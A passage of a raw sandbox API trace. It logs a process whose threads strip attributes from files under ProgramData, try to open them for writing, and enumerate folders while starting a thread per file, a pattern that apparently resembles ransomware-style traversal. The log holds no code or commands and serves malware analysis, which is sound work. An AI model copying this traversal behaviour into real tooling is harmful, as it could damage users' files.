lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0142.467] GetLastError () returned 0x5 [0142.467] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D", dwFileAttributes=0x2026) returned 0 [0142.467] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fe8c0) returned 1 Thread: id = 2005 os_tid = 0x978 [0142.094] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w")) returned 0x2026 [0142.468] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W", dwFileAttributes=0x20) returned 0 [0142.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0142.468] GetLastError () returned 0x5 [0142.468] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W", dwFileAttributes=0x2026) returned 0 [0142.469] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 Thread: id = 2006 os_tid = 0x984 [0142.094] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w")) returned 0x2026 [0142.469] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W", dwFileAttributes=0x20) returned 0 [0142.469] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0142.469] GetLastError () returned 0x5 [0142.470] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W", dwFileAttributes=0x2026) returned 0 [0142.470] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x903bd0) returned 1 Thread: id = 2007 os_tid = 0x990 [0142.094] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h")) returned 0x2026 [0142.470] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H", dwFileAttributes=0x20) returned 0 [0142.470] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0142.471] GetLastError () returned 0x5 [0142.471] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H", dwFileAttributes=0x2026) returned 0 [0142.471] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6988) returned 1 Thread: id = 2008 os_tid = 0x994 [0142.095] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d")) returned 0x2026 [0142.455] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D", dwFileAttributes=0x20) returned 0 [0142.455] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0142.456] GetLastError () returned 0x5 [0142.456] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D", dwFileAttributes=0x2026) returned 0 [0142.456] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a20) returned 1 Thread: id = 2036 os_tid = 0xc54 [0142.556] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c1e8 [0142.556] wcscpy (in: _Dest=0x93c1e8, _Source="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0142.556] wcscat (in: _Dest=0x93c1e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\" [0142.556] wcscat (in: _Dest=0x93c1e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*" [0142.556] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0142.556] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0142.557] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0142.557] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c1e8) returned 1 [0142.557] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8f80) returned 1 Thread: id = 2037 os_tid = 0xc58 [0142.558] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f96e8 [0142.558] wcscpy (in: _Dest=0x8f96e8, _Source="C:\\ProgramData\\Microsoft\\MSDN\\8.0" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0" [0142.558] wcscat (in: _Dest=0x8f96e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\" [0142.558] wcscat (in: _Dest=0x8f96e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*" [0142.558] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0142.558] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9424f0 [0142.558] wcscmp (_String1=".", _String2=".") returned 0 [0142.558] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.558] wcscmp (_String1="..", _String2=".") returned 1 [0142.558] wcscmp (_String1="..", _String2="..") returned 0 [0142.558] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.558] FindClose (in: hFindFile=0x9424f0 | out: hFindFile=0x9424f0) returned 1 [0142.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0142.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f96e8) returned 1 [0142.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9788) returned 1 Thread: id = 2038 os_tid = 0xc5c [0142.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e46e0 [0142.559] wcscpy (in: _Dest=0x8e46e0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0142.559] wcscat (in: _Dest=0x8e46e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\" [0142.559] wcscat (in: _Dest=0x8e46e0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\*" [0142.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0142.559] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0142.560] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0142.560] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e46e0) returned 1 [0142.560] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e41b8) returned 1 Thread: id = 2039 os_tid = 0xc60 [0142.561] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8ff3c8 [0142.561] wcscpy (in: _Dest=0x8ff3c8, _Source="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0142.561] wcscat (in: _Dest=0x8ff3c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\" [0142.561] wcscat (in: _Dest=0x8ff3c8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*" [0142.561] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0142.561] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9424f0 [0142.561] wcscmp (_String1=".", _String2=".") returned 0 [0142.561] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.561] wcscmp (_String1="..", _String2=".") returned 1 [0142.561] wcscmp (_String1="..", _String2="..") returned 0 [0142.561] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.561] FindClose (in: hFindFile=0x9424f0 | out: hFindFile=0x9424f0) returned 1 [0142.561] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0142.561] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff3c8) returned 1 [0142.561] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff008) returned 1 Thread: id = 2040 os_tid = 0xc64 [0142.562] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90ea10 [0142.562] wcscpy (in: _Dest=0x90ea10, _Source="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections" [0142.562] wcscat (in: _Dest=0x90ea10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\" [0142.562] wcscat (in: _Dest=0x90ea10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\*" [0142.562] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0142.562] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9424f0 [0142.563] wcscmp (_String1=".", _String2=".") returned 0 [0142.563] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.563] wcscmp (_String1="..", _String2=".") returned 1 [0142.563] wcscmp (_String1="..", _String2="..") returned 0 [0142.563] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.563] FindClose (in: hFindFile=0x9424f0 | out: hFindFile=0x9424f0) returned 1 [0142.563] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0142.563] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea10) returned 1 [0142.563] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f090) returned 1 Thread: id = 2041 os_tid = 0xc68 [0142.564] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90f090 [0142.564] wcscpy (in: _Dest=0x90f090, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0142.564] wcscat (in: _Dest=0x90f090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0142.564] wcscat (in: _Dest=0x90f090, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*" [0142.564] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0142.564] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0142.564] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0142.564] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f090) returned 1 [0142.564] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fee28) returned 1 Thread: id = 2042 os_tid = 0xc6c [0142.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97ad08 [0142.565] wcscpy (in: _Dest=0x97ad08, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0142.565] wcscat (in: _Dest=0x97ad08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0142.565] wcscat (in: _Dest=0x97ad08, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*" [0142.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0142.565] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9425f0 [0142.968] wcscmp (_String1=".", _String2=".") returned 0 [0142.968] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.968] wcscmp (_String1="..", _String2=".") returned 1 [0142.968] wcscmp (_String1="..", _String2="..") returned 0 [0142.968] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb848fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x7bb848fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x7bb848fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.APL", cAlternateFileName="")) returned 1 [0142.968] wcscmp (_String1="M1033DSK.APL", _String2=".") returned 1 [0142.968] wcscmp (_String1="M1033DSK.APL", _String2="..") returned 1 [0142.968] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x8ea9d8 [0142.968] wcscpy (in: _Dest=0x8ea9d8, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0142.968] wcscat (in: _Dest=0x8ea9d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0142.968] wcscat (in: _Dest=0x8ea9d8, _Source="M1033DSK.APL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL" [0145.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8ea9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf7c [0145.717] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7650f9d, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7650f9d, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7bc1ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x764f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CRT", cAlternateFileName="")) returned 1 [0145.717] wcscmp (_String1="M1033DSK.CRT", _String2=".") returned 1 [0145.717] wcscmp (_String1="M1033DSK.CRT", _String2="..") returned 1 [0145.717] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x8f67a8 [0145.717] wcscpy (in: _Dest=0x8f67a8, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0145.717] wcscat (in: _Dest=0x8f67a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0145.717] wcscat (in: _Dest=0x8f67a8, _Source="M1033DSK.CRT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT" [0145.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f67a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf80 [0145.718] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77357d7, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc77357d7, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c84ff3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c6aed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CSD", cAlternateFileName="")) returned 1 [0145.718] wcscmp (_String1="M1033DSK.CSD", _String2=".") returned 1 [0145.718] wcscmp (_String1="M1033DSK.CSD", _String2="..") returned 1 [0145.718] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x8f6870 [0145.718] wcscpy (in: _Dest=0x8f6870, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files 